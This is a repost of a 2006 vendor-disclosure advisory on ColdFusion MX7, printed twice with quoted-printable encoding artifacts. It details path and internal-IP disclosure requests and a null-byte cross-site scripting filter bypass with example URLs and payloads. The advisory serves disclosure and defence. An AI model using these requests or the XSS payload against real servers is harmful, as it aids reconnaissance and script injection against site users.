Brett Moore
14/12/06, 10:44
Just clearing stuff out before Christmas.
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D
=3D ColdFusion MX7 - Multiple Vulnerabilities
=3D
=3D Vendor Website: =20
=3D http://www.Adobe.com
=3D
=3D Affected Software:
=3D ColdFusion MX7 (and possibly MX6)
=3D
=3D Public disclosure on Monday December 11, 2006
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D
=3D=3D Overview =3D=3D
This advisory discloses three separate security issues in ColdFusion
MX7.
* Server Path Disclosure *=20
It is possible to cause the server to disclose the local path by making=20
an invalid request. This information could be used to aide in other file
or path based attacks.
The request must be for an existing file, that has an extension not=20
handled by the web server. (ie: not asp,aspx).
The request must be terminated with either of the following;
/.jws
/.cfm
/.cfml
/.cfc
Some example requests are;
http://serverip/page1.htm/a.cfm
http://serverip/CFIDE/administrator/analyzer/img/minus.gif/a.cfm
http://serverip/jrunscripts/jrun.ini/a.cfm
http://serverip/jrunscripts/jrunserver.store/a.cfm
http://serverip/jrunscripts/readme.txt/a.cfm
This has been confirmed against installs that do NOT have debugging or=20
robust exception information turned on.=20
Sending a request in this format returns a message similar to;
Error parsing the Tag Library Descriptor
file:/d:/sekretpath/hidden/page1.htm/..
* Internal IP Address Disclosure *
It is possible to cause the server to disclose the internal network IP
address of the host. This information could be used to aide in other=20
network based attacks.
Making a request to the /CFIDE/administrator/login.cfm page WITHOUT=20
supplying a host, will result in the internal IP address of the=20
server to be disclosed as part of an href tag.
------------------------------------------------------------------
GET /CFIDE/administrator/login.cfm HTTP/1.0
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.1
Date: Thu, 09 Nov 2006 05:44:02 GMT
<html>
<head>
<LINK REL=3D"SHORTCUT ICON"=20
href=3D"http://INTERNALADDRESS:80/CFIDE/administrator/favicon.ico">
------------------------------------------------------------------
* Cross Site Scripting Protection Bypass *
ColdFusion MX7 appears to have built in protection against cross=20
site scripting attacks, and will replace <script> tags with=20
<invalid tag>.
Example URL that is converted to a 'safe' format;
http://server/CFIDE/componentutils/cfcexplorer.cfc?
method=3Dgetcfcinhtmtestl&name=3DCFIDE.adminapi.administrator&
path=3D/cfide/adminapi/administrator.cfctest">
<script>alert()</script>
By inserting a %00 within the <script> tag, it is possible to still=20
conduct cross site scripting attacks against users of=20
Internet Explorer.
Example URL that will have script executed;
http://server/CFIDE/componentutils/cfcexplorer.cfc?
method=3Dgetcfcinhtmtestl&name=3DCFIDE.adminapi.administrator&
path=3D/cfide/adminapi/administrator.cfctest">
<%00script>alert(document.domain)</script>
=3D=3D Solutions =3D=3D
Currently, the issues outlined in the report are being considered for=20
the next major version of ColdFusion - the release date is currently not
finalized. There is currently no plan to release security bulletins for=20
any of the issues from the report
=3D=3D Credit =3D=3D
Discovered and advised to Adobe November 11, 2006 by Brett Moore of
Security-Assessment.com
=3D=3D About Security-Assessment.com =3D=3D
Security-Assessment.com is Australasia's leading team of Information=20
Security consultants specialising in providing high quality Information=20
Security services to clients throughout the Asia Pacific region. Our=20
clients include some of the largest globally recognised companies in=20
areas such as finance, telecommunications, broadcasting, legal and=20
government. Our aim is to provide the very best independent advice and=20
a high level of technical expertise while creating long and lasting=20
professional relationships with our clients.
Security-Assessment.com is committed to security research and=20
development, and its team continues to identify and responsibly publish=20
vulnerabilities in public and private software vendor's products.=20
Members of the Security-Assessment.com R&D team are globally recognised=20
through their release of whitepapers and presentations related to new=20
security research.
Security-Assessment.com is an Endorsed Commonwealth Government of=20
Australia supplier and sits on the Australian Government=20
Attorney-General's Department Critical Infrastructure Project panel.=20
We are certified by both Visa and MasterCard under their Payment=20
Card Industry Data Security Standard Programs.
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D
=3D ColdFusion MX7 - Multiple Vulnerabilities
=3D
=3D Vendor Website: =20
=3D http://www.Adobe.com
=3D
=3D Affected Software:
=3D ColdFusion MX7 (and possibly MX6)
=3D
=3D Public disclosure on Monday December 11, 2006
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D
=3D=3D Overview =3D=3D
This advisory discloses three separate security issues in ColdFusion
MX7.
* Server Path Disclosure *=20
It is possible to cause the server to disclose the local path by making=20
an invalid request. This information could be used to aide in other file
or path based attacks.
The request must be for an existing file, that has an extension not=20
handled by the web server. (ie: not asp,aspx).
The request must be terminated with either of the following;
/.jws
/.cfm
/.cfml
/.cfc
Some example requests are;
http://serverip/page1.htm/a.cfm
http://serverip/CFIDE/administrator/analyzer/img/minus.gif/a.cfm
http://serverip/jrunscripts/jrun.ini/a.cfm
http://serverip/jrunscripts/jrunserver.store/a.cfm
http://serverip/jrunscripts/readme.txt/a.cfm
This has been confirmed against installs that do NOT have debugging or=20
robust exception information turned on.=20
Sending a request in this format returns a message similar to;
Error parsing the Tag Library Descriptor
file:/d:/sekretpath/hidden/page1.htm/..
* Internal IP Address Disclosure *
It is possible to cause the server to disclose the internal network IP
address of the host. This information could be used to aide in other=20
network based attacks.
Making a request to the /CFIDE/administrator/login.cfm page WITHOUT=20
supplying a host, will result in the internal IP address of the=20
server to be disclosed as part of an href tag.
------------------------------------------------------------------
GET /CFIDE/administrator/login.cfm HTTP/1.0
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.1
Date: Thu, 09 Nov 2006 05:44:02 GMT
<html>
<head>
<LINK REL=3D"SHORTCUT ICON"=20
href=3D"http://INTERNALADDRESS:80/CFIDE/administrator/favicon.ico">
------------------------------------------------------------------
* Cross Site Scripting Protection Bypass *
ColdFusion MX7 appears to have built in protection against cross=20
site scripting attacks, and will replace <script> tags with=20
<invalid tag>.
Example URL that is converted to a 'safe' format;
http://server/CFIDE/componentutils/cfcexplorer.cfc?
method=3Dgetcfcinhtmtestl&name=3DCFIDE.adminapi.administrator&
path=3D/cfide/adminapi/administrator.cfctest">
<script>alert()</script>
By inserting a %00 within the <script> tag, it is possible to still=20
conduct cross site scripting attacks against users of=20
Internet Explorer.
Example URL that will have script executed;
http://server/CFIDE/componentutils/cfcexplorer.cfc?
method=3Dgetcfcinhtmtestl&name=3DCFIDE.adminapi.administrator&
path=3D/cfide/adminapi/administrator.cfctest">
<%00script>alert(document.domain)</script>
=3D=3D Solutions =3D=3D
Currently, the issues outlined in the report are being considered for=20
the next major version of ColdFusion - the release date is currently not
finalized. There is currently no plan to release security bulletins for=20
any of the issues from the report
=3D=3D Credit =3D=3D
Discovered and advised to Adobe November 11, 2006 by Brett Moore of
Security-Assessment.com
=3D=3D About Security-Assessment.com =3D=3D
Security-Assessment.com is Australasia's leading team of Information=20
Security consultants specialising in providing high quality Information=20
Security services to clients throughout the Asia Pacific region. Our=20
clients include some of the largest globally recognised companies in=20
areas such as finance, telecommunications, broadcasting, legal and=20
government. Our aim is to provide the very best independent advice and=20
a high level of technical expertise while creating long and lasting=20
professional relationships with our clients.
Security-Assessment.com is committed to security research and=20
development, and its team continues to identify and responsibly publish=20
vulnerabilities in public and private software vendor's products.=20
Members of the Security-Assessment.com R&D team are globally recognised=20
through their release of whitepapers and presentations related to new=20
security research.
Security-Assessment.com is an Endorsed Commonwealth Government of=20
Australia supplier and sits on the Australian Government=20
Attorney-General's Department Critical Infrastructure Project panel.=20
We are certified by both Visa and MasterCard under their Payment=20
Card Industry Data Security Standard Programs.